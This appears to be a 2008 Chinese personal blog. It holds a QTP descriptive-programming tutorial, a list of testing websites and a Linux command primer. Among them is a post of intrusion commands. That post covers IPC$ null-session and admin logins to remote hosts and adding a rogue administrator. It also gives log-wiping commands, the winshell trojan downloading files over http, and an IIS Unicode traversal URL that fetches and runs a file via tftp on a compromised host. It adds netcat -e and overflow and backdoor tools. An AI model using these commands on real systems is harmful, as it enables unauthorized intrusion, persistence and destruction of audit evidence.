发布新日志

  • QTP测试

    2008-01-27 22:39:11

    【摘要】自动化功能测试是一种企业级的用于检验应用程序是否如期运行的功能性测试工具。通过自动捕获,检测,和重复用户交互的操作,能够辨认缺陷并且确保那些跨越多个应用程序和数据库的业务流程在初次发布就能避免出现故障,并且保持长期可靠运行。在市场上用的比较多的主要包括Mercury公司的WinRunner,QuickTest Professional和IBMRational Robot。 笔者对于QuickTest Professional相对较为熟悉,希望有机会向大家逐步介绍QuickTest Professional中的一些要点及技巧。在本文里主要介绍了QuickTest Professional中的一项核心内容Descrīptive Programming,希望对大家有所借鉴和帮助。在文中,为了方便起见,将QuickTest Professional简称QTP。(本文是基于Quick Test Professional V8.0而写)。

    【关键词】

    描述性编程Descrīptive Programming

    功能测试Functional Test

    专家视图Expert View

    关键字视图Keyword View

    对象模型Object Model

    运行时对象Run-Time Object

    测试对象Test Object

    【正文】

    .QTP功能测试基本方法

    我们简单介绍一下有关功能测试的基本方法,这实际上对于所有自动化功能测试产品来说都是一样的。一般情况下,用QTP来进行功能测试的基本方法主要包括三个主要阶段:

       

    1、创建测试或组建

    首先可以通过在应用程序或网站上录制会话,或者建立对象库并使用关键字驱动功能向关键字视图中手动添加步骤来创建测试或组件。在QTP里面我们可以通过两种方式添加步骤来创建测试或组件:

    • 在应用程序或网站上录制会话。
    • 建立对象库并使用这些对象在关键字视图或专家视图中手动添加步骤

    然后在在测试或组件中插入检查点,检查页面、对象或文本字符串中的特定值或特征,通过它可以标识网站或应用程序是否正常运行。或是通过用参数替换固 定值扩展测试或组件的范围。提供数据表中的数据,定义环境变量和值,定义测试、组件或操作参数和值,或者使用QTP生成随机数字或当前用户和测试数据等。

    最后如果需要的话使用QTP中众多的功能测试功能来增强测试或组件或添加编写语句来实现更复杂的测试目标。

    2、运行测试和组建

    控制运行会话,帮助标识和消除测试或组件中的缺陷。使用“单步执行”、“单步跳过”和“单步退出”命令逐步运行测试或组件,或设置断点使测试或组件在预定点暂停。每当测试或组件在断点处停止时,可以在“调试查看器”中查看其变量的值。

    3、分析结果

    在运行测试或组件之后,通过两种方式可以查看其结果:在“结果”窗口中查看结果;自动报告在运行会话过程中检测到的缺陷,可能的话并上报到其他缺陷管理产品中。

    .试图与对象模型

    在介绍QTP中的Descrīptive Programming前,我们有必要先介绍一下ExpertView及在ExpertView里进行编码的一些基本知识。

    在QTP里面提供了两种视图,第一种我们把它称为KeywordView(关键字视图,在早期的版本中称为TreeView),第二种把它成为ExpertView(专家视图),这两种视图分别是针对两种类型的人进行使用的。

    1、KeywordView(关键字视图)

    通过关键字视图,QTP提供了一种模块化的表格格式创建和查看测试或组件的步骤。每个步骤在关键字视图中都是一行,这样用户可以轻松的修改任何一部分组成。

    在录制会话过程中,用户在应用程序上执行的每个步骤在关键字视图中记录为一行。例如,在51testing的页面上执行的下列三个步骤:

    • 在“用户名”编辑框中输入 zhoda02。
    • 在“密码”编辑框中输入加密字符串 41c630a213508cd49eb35089db1b893144b9。
    • 单击“登录”按钮。

    那么,关键字视图将包含下列行:

       

    很显然,关键字视图非常直观有效,使用的人可以很清晰的看到被录制对象的录制层次及运行步骤,比较适合那些对于业务操作流程熟悉的人员使用。但是,如果需要一些增强型的操作,那就需要切换到专家视图里进行了。

    2.ExpertView(专家视图)

    QTP在关键字视图中的每个节点在专家视图中对应一行脚本。上面例子对应的脚本如下:(删除后一句是因为前后重复,一句可以说明问题)

    Browser("51Testing软件测试网:软件测试的专业网站").Page("51Testing软件测试网:软件测试的专业网站").WebEdit("username").Set "zhoda02"

    Browser("51Testing软件测试网:软件测试的专业网站").Page("51Testing软件测试网:软件测试的专业网站"). WebEdit("password").SetSecure "41c630a213508cd49eb35089db1b893144b9"

    Browser("51Testing软件测试网:软件测试的专业网站").Page("51Testing软件测试网:软件测试的专业网站").WebButton("登录").Click

    对于QTP来说,其核心编码语言是Visual Basic scrīpt,因此,如果用户熟悉VBscrīpt,可以运用自如的添加和更新语句,并通过编程方式增强测试和脚本,而这一切必须在专家视图中完成。

    更为重要的是,有些操作是必须在专家视图中才可以完成的,例如:要处理动态对象、客户化报告、获取对象运行时的属性值(Run-time Value)等等,这些都必须通过专家视图中的VBscrīpt编码完成。

    然而,QTP里所有的操作都是基于对象进行的,所以我们必须对对象模型有一个基本了解,才可以在专家视图内进行Descrīptive Programming。

    3、测试对象模型

    测试对象模型是一大组对象类型或类,QTP用这些对象类型或类来表示应用程序中的对象。每个测试对象类都有一个可以唯一标识属于该类的对象的属性列 表,以及一组 QTP可以对其进行录制的方法。它包括测试对象(Test Object)和运行时对象(RunTime Object)。

    测试对象是QTP在测试或组件中创建的用于表示应用程序中的实际对象的对象。QTP存储有关该对象的信息,这些信息有助于它在运行会话期间标识和检查该对象。

    运行时对象是网站或应用程序中的实际对象,在运行会话期间执行针对该对象的方法。

    如果录制时执行应用程序的相应操作,则一般情况下QTP将完成以下操作:

    • 标识 QTP测试对象类(表示执行了操作的对象),并创建相应的测试对象
    • 读取应用程序中对象属性的当前值,然后将属性和属性值列表与测试对象一起存储。
    • 选择该对象的唯一名称,一般使用该对象某个重要属性的值。
    • 使用适当的 QPT 测试对象方法录制对对象执行的操作。

    例如,假定使用以下 HTML 源代码单击“查找”按钮:

    <INPUT TYPE="submit" NAME="Find" VALUE="Find">

    QTPl将单击的对象标识为 WebButton 测试对象。它将创建一个名为 Find 的 WebButton 对象,然后为该 Find WebButton 对象录制下列属性和属性值,同时还会录制对WebButtion的Click方法。

       

    在关键字视图及专家视图中显示内容分别为:

       

    Browser("Mercury Interactive").Page("Mercury Interactive").WebButton("Find").Click

    运行测试或组件时,QTP通过其测试对象类及其描述(一组用于唯一标识该对象的测试对象属性和属性值)来标识应用程序中的每个对象。测试对象及其属 性和属性值的列表存储在对象库中。例如在上例中,QTP将在运行会话期间在对象库中搜索 WebButton 对象,通过名称 Find 来查找其描述。QTP根据找到的描述,在应用程序中查找 WebButton 对象,该对象带有 HTML 标记 INPUT、类型为 submit、值为 Find。找到对象后,它将对其执行 Click 方法。

    在这样一组对象模型的基础上,QTP为各类应用对象都提供了一组方法和属性,例如Web Objects,Windows Objects,SAPGUI Objects,ActiveX,Java等。下面是一些Web Objects的方法和示例:

    对象 方法
    Browser

    Check

    Frame

    Click

    Image

    Exist

    Link

    GetCellData

    Page

    GetProperty

    WebArea

    GetROProperty

    WebButtion

    Mouseover

    WebCheckBox

    RowCount

    WebEdit

    Select

    WebList

    Set

    WebRadioGroup

    SetProperty

    WebTable Submit

    例1:获取单元格中的值

    thisText = Browser(…).Page(…).Frame.(…).WebTable("sample").GetCellData(2,1)

    例2:获取图片的名称

    ObjectName = Browser(…).Page(…).Image("Find").GetProperty("Name")

    例3:检查某个对象是否存在,如果存在弹出对话框说明对象存在。

    If Browser("Browser").Page("Page").Applet("login.html").JavaEdit("username").Exist Then

    MsgBox("The object exists.")

    End if

    .描述性编程(descrīptive programming)

    1、descrīptive programming概述

    通常情况下,当在录制一个操作时,QTP会将被操作对象加入到对象库里(Object Repository)。一旦对象存在于对象库里,我们就可以在专家视图里通过添加相关的对象方法来对该对象进行操作。我们可以通过引用层次型对象库里的对象描述(Object Descrīption)来添加相应的方法。

    因为QTP对象库中的每个对象都具有唯一名称,所以在引用时对象名是必须需要指定的。然后在测试运行期间,QTP在对象库中根据这个对象的名称和父对象来查找对象,并使用为这个测试对象存储的测试对象描述,在网站或应用程序中标识该对象。

    例如我们用QTP录制Yahoo Mail登录情况时我们需要输入用户名,于是在录制时我们就会录下一个WebEdit对象,它的缺省逻辑名为“login”,该编辑字段位于名为 “Yahoo! Mail - The best” 的页面上,并且该页面在浏览器中使用名称 Yahoo!进行录制。如图所示,即为录制时的对象库的内容:

       

    那么如果我们想要应用该对象,就可以在专家视图输入以下信息:

    Browser("Yahoo!").Page("Yahoo! Mail - The best").WebEdit("login").Set “xxx”

    或者我们也可以调用一些方法,获取改对象在运行时的对象名,如:

    Browser("Yahoo!").Page("Yahoo! Mail - The best").WebEdit("login").GetROProperty(“name”)

    然而,我们可以发觉到,上面的例子在处理对象时,对象已经存在于对象库里,因此我们可以应用这个对象的逻辑名。实际使用中,情况往往并非如此简单,我们经常会遇到很多在页面上动态产生的对象,换而言之,对象库里没有这些对象,我们也无从引用。因此我们必须采用其他的技术来完成这类操作,这也就是我们需要讲解的Descrīptive Programming。

    为了满足上面提到的动态对象的处理问题,QTP允许用户通过将对象属性编码到测试脚本里来动态识别对象,这就是我们通常意义下称为的 Descrīptive Programming。通过这种方式,我们可以指示QTP不通过引用对象库和对象名来对实际对象进行操作。具体操作中,我们只需要为QTP提供对象的一 组属性和值,这样QTP就可以来识别相应的对象并对其进行操作。这相当于,告诉QTP要识别对象的一些关键特征,根据这些特征QTP就可以一一匹配然后识 别出来这个对象。

    而且,更为重要的是,通过这种Descrīptive Programming的方式,还可以让QTP识别具有某些相同属性的对象。我们先来举个例子来看一下:我们假设当前的Windows系统中打开了若干的 Yahoo主页面(多于一个),现在我们要关闭所有的正在浏览Yahoo主页面的浏览器。

    对于上面那个例子来说,我们先看一个简单一点的情况,假设只有且仅有一个Yahoo主页面:那么我们可以用下面的方法来

    Window("Text:=Yahoo! - Microsoft Internet Explorer").Close

    我们可以看到语句里我们要查找的对象是Window窗口标题为“Yahoo! - Microsoft Internet Explorer”,然后把它关闭,具体的语法说明我们稍后为解释。但是上面的语句仅仅适合前面提到的条件“只有且仅有一个Yahoo主页面”,如果有多 个同样的窗口就会出错,原因是通过语句可以匹配到多个对象,而QTP不知道应该对哪个对象进行关闭动作。我们需要进一步的缩小匹配范围:

    Dim i

    i = 0

    while (Window("Text:=Yahoo! - Microsoft Internet Explorer", "index:="&i).exist)

    Window("Text:=Yahoo! - Microsoft Internet Explorer", "index:="&i).close

    i = i +1

    wend

    这里我们可以看到,对于具有相同属性的对象,我们可以通过index参数来对其进行区别,第一个对象为index=0,第二个为index=1等等,依次类推。当然我们还可以通过CreationTime和Location参数来定位对象,这里就不详细叙述了。

    通过上面的例子,我们对Descrīptive Programming有一个基本了解了,下面我们详细讲解一下Descrīptive Programming:在具体实现中,我们有两种类型的Descrīptive Programming方法。可以列出直接在测试语句中描述对象的属性和值的集合;或者向 Descrīption 对象中添加属性和值的集合,然后在语句中输入 Descrīption 对象的名称。下面我们分别举例介绍。

    2、直接在语句中输入编程描述

    通过多个指定描述对象的property:=value对,可以直接在语句中描述对象,这是最直接有效的方法。

    常规语法为:

    TestObject("PropertyName1:=PropertyValue1", "..." , "PropertyNameX:=PropertyValueX"}

    TestObject - 测试对象的类。

    PropertyName:=PropertyValue - 测试对象的属性及其值。各个property:=value 对之间应用逗号和引号分开。

    例如:以下语句指定 Mercury Tours 页面中名为author且索引值为 3 的 WebEdit 测试对象。当测试运行时,QTP 将查找具有匹配属性值的 WebEdit 对象,并输入文本jojo。

    Browser("Mercury Tours").Page("Mercury Tours").WebEdit("Name:=Author", "Index:=3").Set "Mark Twain"

    我们也可以从从描述中的特定位置(从 Page 对象描述开始)开始使用Descrīptive Programming。

    Browser("Mercury Tours").Page("Title:=Mercury Tours").WebEdit("Name:=Author", "Index:=3").Set "jojo"

    此外,如果我们希望在在一个测试或组件中多次使用相同的Descrīptive Programming,则可以将创建的对象赋值给变量,这样使用会方便很多。

    例如:我们需要完成下面一系列操作

    Window("Text:=HyperSna").WinButton("Caption:=日期").Click

    Window("Text:=HyperSna").WinButton("Caption:=时间").Click

    Window("Text:=HyperSna").WinButton("Caption:=确定").Click

    那么,为了方便其见,我们可以将Window("Text:=HyperSna")赋值到一个变量,然后再使用,参见下面的代码:

    Set WinHyper = Window("Text:=HyperSna")

    WinHyper.WinButton("Caption:=日期").Click

    WinHyper.WinButton("Caption:=时间").Click

    WinHyper.WinButton("Caption:=确定").Click

    如果使用了VBscrīpt里面的With语句,还可以简化为以下代码:

    With Window("Text:=HyperSna")

    .WinButton("Caption:=日期").Click

    .WinButton("Caption:=时间").Click

    .WinButton("Caption:=确定").Click

    End With

    下面我们来看一个更为详细的例子,在QTP产品缺省安装里面自带了一个网上订机票的示例称为Mercury Tour,我们看一下在订票过程中何时需要用Descrīptive Programming。

    首先登入系统后,如果需要订票,就要先搜索航班,此时系统要求输入订票乘客的数量,假设我们在第一次录制脚本时选择了1个Passenger,并成 功完成订票。然后,我们需要参数化乘客数量来测试订票系统,我们会发现回放会失败。原因在于,不同的乘客的数量导致在订票时需要输入每个乘客的姓名,而录 制时,只输入了一个乘客的姓名。而乘客姓名的输入框是随着乘客数量的变化而动态生成的,我们不可能从对象库里得到没有录制的对象,因此必须使用 Descrīptive Programming。

       

    在录制单个乘客时,我们得到的录制语句是:

    Browser("Welcome: Mercury Tours").Page("Book a Flight: Mercury").WebEdit("passFirst0").Set "Michael"

    Browser("Welcome: Mercury Tours").Page("Book a Flight: Mercury").WebEdit("passLast0").Set "Wang"

    显然WebEdit("passFirst0")和WebEdit("passLast0")是录制时产生的对象并存放到对象库里的。通过对象库,我们可以看到对象的属性如下

       

    系统对于发生多个FirstName时,命名规则是passFirst0,passFirst1…依次类推。因此只要通过简单的Descrīptive Programming就可以完成动态FirstName与LastName的识别工作。这里我们假设参数化的乘客数已经赋值给intPassNum,下面是脚本中的关键语句:

    counter = 0

    For i = 0 to (intPassNum)

    Browser("Find a Flight:").Page("Book a Flight:").WebEdit("name:=passFirst"&i).Set "Michael"

    Browser("Find a Flight:").Page("Book a Flight:").WebEdit("name:=passLast"&i).Set "Wang"

    counter = counter + 1

    Next

    3、使用descrīption对象

    使用 Descrīption 对象可以返回包含一组 Property 对象的 Properties 集合对象。Property 对象由属性名和值组成。然后,可以在语句中指定用返回的 Properties 集合代替对象名。(每个 property 对象都包含一个属性名和值)。

    要创建 Properties 集合,可以使用以下语法输入 Descrīption.Create 语句:

    Set MyDescrīption = Descrīption.Create()

    创建 Properties 对象(例如,以上示例中的MyDescrīption)后,就可以输入语句,以便在运行会话期间在 Properties 对象中添加、编辑、删除或检索属性和值。这样,就可以在运行会话期间,使用动态方法确定哪个属性以及多少个属性应包含在对象描述中。

    在 Properties 集合中填充一组 Property 对象(属性和值)后,可以在测试语句中指定用 Properties 对象代替对象名。

    例如,假设我们需要完成以下一个操作:

    Window("Error").WinButton("text:=OK", "index:=1").Click

    我们可以通过Descrīption对象来实现同样的功能,参加下面的代码:

    Set MyDescrīption = Descrīption.Create()

    MyDescrīption("text").Value = "OK"

    MyDescrīption("index").Value = 1

    Window("Error").WinButton(MyDescrīption).Click

    Set MyDescrīption = Nothing

    【小结】以上是对QTP中有关处理动态对象中的Descrīptive Programming的简单介绍,希望对大家能够有所帮助,就总体而言,如果能够熟练掌握Descrīptive Programming,那么有很多实际中的问题就可以迎刃而解。当然Descrīptive Programming只是QTP中的一个功能,QTP在实际功能测试中还有很多强大的功能,作为QTP学习的一个系列有机会我会一一介绍。

  • 网管和黑客都必须知道的命令

    2008-01-21 19:37:38

    常用的几条NET命令:

    ==================================================

    (与远程主机建立空管连接) net use \\IP地址\ipc$ "" /use:""

    (以管理员身份登录远程主机) net use \\IP地址\ipc$ "密码" /use:"Administrator"

    (传送文件到远程主机WINNT目录下)copy 本机目录路径\程序 \\IP地址\admin$

    (查看远程主机时间) net time \\IP地址

    (定时启动某个程序) at \\IP地址 02:18 readme.exe

    (查看共享) net view \\IP地址

    (查看netbios工作组列表) nbtstat -A IP地址

    (将远程主机C盘映射为自己的F盘) net use f: \\IP地址\c$ ""/user:"Administrator"

    (这两条把自己增加到管理员组): net user 用户名 密码 /add

    net localgroup Administrators 用户名 /add

    (断开连接) net use \\IP地址\ipc$ /delete

    =====================================================

    擦屁屁:

    del C:\winnt\system32\logfiles\*.*

    del C:\winnt\ssytem32\config\*.evt

    del C:\winnt\system32\dtclog\*.*

    del C:\winnt\system32\*.log

    del C:\winnt\system32\*.txt

    del C:\winnt\*.txt

    del C:\winnt\*.log

    ============================

    一、netsvc.exe

    下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:

    netsvc /list \\IP地址

    netsvc schedule \\IP地址 /query

    netsvc \\IP地址 schedule /start

    二、OpenTelnet.exe

    远程启动主机的Telnet服务,并绑定端口到7878,例如:

    OpenTelnet \\IP地址 用户名 密码 1 7878

    然后就可以telnet到主机的7878端口,进入DOS方式下:

    telnet IP地址 7878

    三、winshell.exe

    一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令:

    p Path (查看winshell主程序的路径信息)

    b reBoot (重新启动机器)

    d shutDown (关闭机器)

    s Shell (执行后你就会看到可爱的“C:\>”)

    x eXit (退出本次登录会话,此命令并不终止winshell的运行)

    CMD> http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)

    四、3389登陆器,GUI方式登录远程主机的

    五、elsave.exe

    事件日志清除工具

    elsave -s \\IP地址 -l "application" -C

    elsave -s \\IP地址 -l "system" -C

    elsave -s \\IP地址 -l "security" -C

    执行后成功清除应用程序日志,系统日志,安全日志

    六、hbulot.exe

    开启win2kserver和winxp的3389服务

    hbulot [/r]

    使用/r表示安装完成后自动重起目标使设置生效。

    七、nc.exe(netcat.exe)

    一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。

    想要连接到某处: nc [-options] hostname port[s] [ports] ...

    绑定端口等待连接: nc -l -p port [-options] [hostname] [port]

    参数:

    -e prog 程序重定向,一旦连接,就执行 [危险!!]

    -g gateway source-routing hop point[s], up to 8

    -G num source-routing pointer: 4, 8, 12, ...

    -h 帮助信息

    -i secs 延时的间隔

    -l 监听模式,用于入站连接

    -n 指定数字的IP地址,不能用hostname

    -o file 记录16进制的传输

    -p port 本地端口号

    -r 任意指定本地及远程端口

    -s addr 本地源地址

    -u UDP模式

    -v 详细输出——用两个-v可得到更详细的内容

    -w secs timeout的时间

    -z 将输入输出关掉——用于扫描时

    八、TFTPD32.EXE

    把自己的电脑临时变为一台FTP服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用Unicode漏洞或telnet到肉鸡,例如:

    http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名

    然后可以直接令文件运行:

    http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名

    九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的,选择“溢出后在一个端口监听”, 然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后 winxp下需要打winxp。

    一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有ASP执行权限的目录。然后用IE浏览器连接。

    一、一 Xscan命令行运行参数说明:

    在检测过程中,按"[空格]"键可以查看各线程状态及扫描进度,按"q"键保存当前数据后提前退出程序,按"<ctrl+c>"强行关闭程序。

    1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]

    xscan -file <主机列表文件名> <检测项目> [其他选项]

    其中<检测项目> 含义如下:

    -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表);

    -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件);

    -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件);

    -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案);

    -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案);

    [其他选项] 含义如下:

    -v: 显示详细扫描进度

    -p: 跳过Ping不通的主机

    -o: 跳过没有检测到开放端口的主机

    -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10 


  • TEST网站

    2008-01-19 21:13:18

    +++软件测试之中文网络资源总汇V2.0+++
    (更新日期:2007年4月12日)

    51Testing软件测试网  www.51testing.com
    测试时代  www.testage.net
    CSDN——软件测试频道  testing.csdn.net
    希赛网——软件测试频道  testing.csai.cn
    中国软件测试联盟  www.iceshi.com
    一起测试网  www.17testing.com
    北大测试  www.btesting.com
    中国软件测试基地 www.cntesting.com
    中国软件评测中心  www.cstc.org.cn
    中国软件质量网  www.rjzl.gov.cn


    更新说明:
    1.去除了不可用的链接和更新较慢的网站
    2.添加了几个网站的链接


    下列网站中,部分已经不可访问,但作为V1.0的内容仍保留了下来

    软件测试之中文网络资源总汇(顺序是我随意排的,不分先后)
    测试时代论坛  www.testage.net/bbs

    中国软件测试社区 http://www.sztest.net/forum/

    海松宝的小屋  http://www1.testage.net/haisongbao/

    Alan工作室  http://alanzhou.nease.net/index.htm

    软件工程专家网  http://www.51cmm.com/

    51testing软件测试网(慧谷-博为峰软件测试工作室)  www.51testing.com

    中国软件测试在线  http://www.softtest.cn/

    杨柳清风论坛  http://www.kaiyuanlaw.com/dvbbs/

    天极网的软件测试板块  

    http://www.yesky.com/SoftChannel/72342393369657344/index.shtml

    测试工程师  http://opentest.51.net/index.htm

    自由龙(好像是珠海的)   http://www.freedragon.net/
  • LINUX基本命令

    2008-01-19 20:50:56

    url=javascrīpt:;]工作[/url]的角度来考虑,完成什么工作需要什么指令。


      文件系统操作是最基本的操作,没有文件系统,[url=javascrīpt:;]操作系统[/url]根本就运行不了。

      下面是我们经常要做的一些事情。在下面具体参数意义不解释,要了解这些

      可以查询该命令帮助文档

      1. 创建目录

         mkdir

         NO1. 在当前路径创建一级目录

              [root@rehat root]# mkdir test

         NO2. 在当前路径创建多级目录

              [root@rehat root]# mkdir -p mytest/test1/test1_1

         NO3. 在创建目录的同时给新建的目录赋权限

              [root@rehat root]# mkdir -m 777 testmod

              这样任何人对此目录都有任何权限

      2. 复制文件与文件夹

         cp

         NO1. 复制指定目录的文件到当前目录,并重命名

              [root@rehat root]# cp ~/.bashrc bashrc_bak

         NO2. 强制复制指定目录的文件到当前目录,而不管当前目录是否含有该文件

              [root@rehat root]# cp -f ~/.bashrc bashrc

         NO2. 复制指定目录到当前目录

              [root@rehat root]# cp -r /root/test .
            
              [root@rehat root]# cp -r /root/test/ .

              两者效果一样,在复制目录时,会将源路径的最后一级目录全部复制过去,包括它本身。

         NO3. 复制指定目录的文件到指定目录

              [root@rehat root]# cp ~/.bashrc /bak/.bashrc

         NO4. 在复制时将源文件的全部属性也复制过来。若不指定参数,则目标文件与源文件属性可能不一致。

              [root@rehat root]# cp -a ~/.bashrc /bak/.bashrc

         NO5. 若两个文件夹要保证同步,一个文件的改了,另一个文件也跟着改,但是要保证两个文件的文件都是最新的。

              [root@rehat root]# cp -u /src/.bashrc /bak_src/bashrc

      3. 建立链接文件,包括硬链接与软链接

         ln

         NO1. 建立类似于 [url=javascrīpt:;]Windows[/url] 的快捷方式

              [root@rehat root]# ln -s test.txt test.txt_slnk

         NO2. 当想备份一个文件,但空间又不够,则可以为该文件建立一个硬连接。这样,就算原文件删除了,只要该

              链接文件没被删除,则在存储空间里还是没有被删除。

              [root@rehat root]# ln -l test.txt test.txt_hlnk

      4. 删除文件

         rm

         NO1. 删除当前目录的文件

              [root@rehat root]# rm test.txt

         NO2. 强制删除当前目录的文件,不弹出提示

              [root@rehat root]# rm -f test.txt

         NO3. 强制删除整个目录,包括目录与文件全部删除,需要管理员权限

              [root@rehat root]# rm -r -f test

      5. 删除文件夹

         rmdir

         NO1. 删除一个空目录

              [root@rehat root]# rmdir emptydir

         NO2. 删除多级空目录

              [root@rehat root]# rmdir -p emptydir/d1/d11

      6. 挂载文件系统与卸载文件系统

         mount / umount

         NO1. 挂载光驱

              [root@rehat root]# mount -t iso9660 /dev/cdrom /mnt/cdrom

         NO2. 挂载光驱,支持中文

              [root@rehat root]# mount -t iso9660 -o codepage=936,iocharset=cp936 /dev/cdrom /mnt/cdrom

         NO3. 挂载 Windows 分区,FAT文件系统

              [root@rehat root]# mount -t vfat /dev/hda3 /mnt/cdrom          

         NO4. 挂载 Windows 分区,NTFS文件系统

              [root@rehat root]# mount -t ntfs -o iocharset=cp936 /dev/hda7 /mnt/had7

         No5. 挂载 ISO 文件

              [root@rehat root]# mount -o loop /abc.iso /mnt/cdrom

         NO6. 挂载 软驱

              [root@rehat root]# mount /dev/fd0 /mnt/floppy

         NO7. 挂载闪盘

              [root@rehat root]# mount /dev/sda1 /mnt/cdrom

         NO8. 挂载 Windows 操作系统共享的文件夹

              [root@rehat root]# mount -t smbfs -o username=guest,password=guest //machine/path /mnt/cdrom

         NO9. 显示挂载的文件系统

              [root@rehat root]# mount

              [root@rehat root]# cat /etc/fstab        显示系统启动自动加载的文件系统

              [root@rehat root]# cat /etc/mtab        显示当前加载的文件系统

      7. 检查磁盘空间

         df

         NO1. 显示所有存储系统空间使用情况,同时显示存储系统的文件系统类型s

              [root@rehat root]# df -aT

         NO2. 显示指定文件系统的空间使用情况        

              [root@rehat root]# df -t ext3
            
         NO3. 人性化显示各存储空间大小

              [root@rehat root]# df -ah

         NO4. 有时候挂载了网络文件系统,若只想看本机的文件系统用如下命令

              [root@rehat root]# df -ahlT

         NO5. 查看某个文件系统的磁盘使用情况

              [root@rehat root]# df -h /dev/cdrom


      8. 检查目录空间大小

         du

         NO1. 查看当前文件夹大小

              [root@rehat root]# du -sh

         NO2. 查看当前文件及文件中包含的子文件夹大小

              [root@rehat root]# du -ch

         NO3. 查看文件的大小

              [root@rehat root]# du -h test1.txt

         NO4. 同时查看多个文件的大小

              [root@rehat root]# du -h test1.txt test2.txt

      9. 磁盘碎片整理

         linux 下基本上不用碎片整理,它每隔一段时间会自动整理
        
      10. 创建/改变文件系统

          NO1. 创建文件系统类型

               [root@rehat root]# umount /dev/sdb1

               [root@rehat root]# mkfs -t ext3 /dev/db1

               [root@rehat root]# mount /dev/sdb1 /practice

      11. 改变文件或文件夹权限

          chmod

          NO1. 将自己的[url=javascrīpt:;]笔记[/url]设为只有自己才能看

               [root@rehat root]# chmod go-rwx test.txt

               或者

               [root@rehat root]# chmod 700 test.txt

          NO2. 同时修改多个文件的权限

               [root@rehat root]# chmod 700 test1.txt test2.txt

          NO3. 修改一个目录的权限,包括其子目录及文件

               [root@rehat root]# chmod 700 -R test

      12. 改变文件或文件夹拥有者

          chown 该命令只有 root 才能使用

          NO1. 更改某个文件的拥有者

               [root@rehat root]# chown jim:usergroup test.txt

          NO2. 更改某个目录的拥有者,并包含子目录

               [root@rehat root]# chown jim:usergroup -R test
      
      13. 查看文本文件内容

          cat

          NO1. 查看文件内容,并在每行前面加上行号

               [root@rehat root]# cat -n test.txt

          NO2. 查看文件内容,在不是空行的前面加上行号

               [root@rehat root]# cat -b test.txt
          
          NO3. 合并两个文件的内容

               [root@rehat root]# cat test1.txt test2.txt > test_new.txt

          NO4. 全并两具文件的内容,并追回到一个文件

               [root@rehat root]# cat test1.txt test2.txt >> test_total.txt

          NO5. 清空某个文件的内容

               [root@rehat root]# cat /dev/null > test.txt

          NO6. 创建一个新的文件

               [root@rehat root]# cat > new.txt 按 CTRL + C 结束录入

      14. 编辑文件文件

          vi

          NO1. 新建档案文件

               [root@rehat root]# vi newfile.txt

          NO2. 修改档案文件

               [root@rehat root]# vi test.txt   test.txt 已存在

          NO3. vi 的两种工作模式:命令模式,编辑模式

          NO4. 进入 vi 后为命令模式,按 Insrt 键进入编辑模式

               按 ESC 进入命令模式,在命令模式不能编辑,只能输入命令

          NO5. 命令模式常用命令

               :w 保存当前文档

               :q 直接退出 vi

               :wq 先保存后退出
          
      15. 路径操作

          cd pwd

          NO1. 显示当前路径

               [root@rehat root]# pwd

          NO2. 返回用户主目录

               [root@rehat root]# cd

          NO3. 改变到其它路径

               [root@rehat root]# cd /etc

          NO4. 返回到上一级目录

               [root@rehat root]# cd ..

          NO5. 返回到根目录

               [root@rehat root]# cd /

      16. 查询文件或文件夹

          find

          NO1. 查找当前用户主目录下的所有文件

               [root@rehat root]# find ~

          NO2. 让当前目录中文件属主具有读、写权限,并且文件所属组的用户和[url=javascrīpt:;]其他[/url]用户具有读权限的文件;

               [root@rehat root]# find . -perm 644 -exec ls -l {} \;

          NO3. 为了查找系统中所有文件长度为0的普通文件,并列出它们的完整路径;

               [root@rehat root]# find / size 0 -type f -exec ls -l {} \;

          NO4. 查找/var/logs目录中更改时间在7日以前的普通文件,并在删除之前询问它们;

               [root@rehat root]# find /var/logs -mtime +7 -type f -ok rm -i {} \;

          NO5. 为/找系统中所有属于root组的文件;

               [root@rehat root]# find / -group root -exec ls -l {} \;

          NO6. find命令将删除当目录中访问时间在7日以来、含有数字后缀的admin.log文件

               [root@rehat root]# find . -name "admin.log[0-9][0-9][0-9]" -atime -7 -ok rm { } \;

          NO7. 为了查找当前文件系统中的所有目录并排序

               [root@rehat root]# find . -type d | sort

          NO8. 为了查找系统中所有的rmt磁带设备

               [root@rehat root]# find /dev/rmt

      17. 显示文件/文件夹清单

          ls / dir

          NO1. 显示所有文件,包括以.开头的隐含文件

               [root@rehat root]# ls -a

          NO2. 显示文件的详细信息

               [root@rehat root]# ls -l

          NO3. 显示当前目录及所有子目录信息

               [root@rehat root]# ls -Rl

          NO4. 以时间排序显示目录,这在找最新文件有用

               [root@rehat root]# ls -tl

          NO5. 以文件大小排序

               [root@rehat root]# ls -Sl

          NO6. 显示文件大小,并按大小排序

               [root@rehat root]# ls -s -l -S

      18. 移动或更改文件/文件夹名称

          mv 与 cp命令用法相似

          NO1. 若移动目标文件已存在,要在移动之前,先备份原来的目录文件

               [root@rehat root]# mv -b test.txt test2/

               这样在 test2 下将有两个文件 test.txt 及 text.txt~

               其中 test.txt~ 是备份文件,test.txt是新的文件

          NO2. 若移动目标文件已存在,但不想弹出是否覆盖的提示,直接覆盖

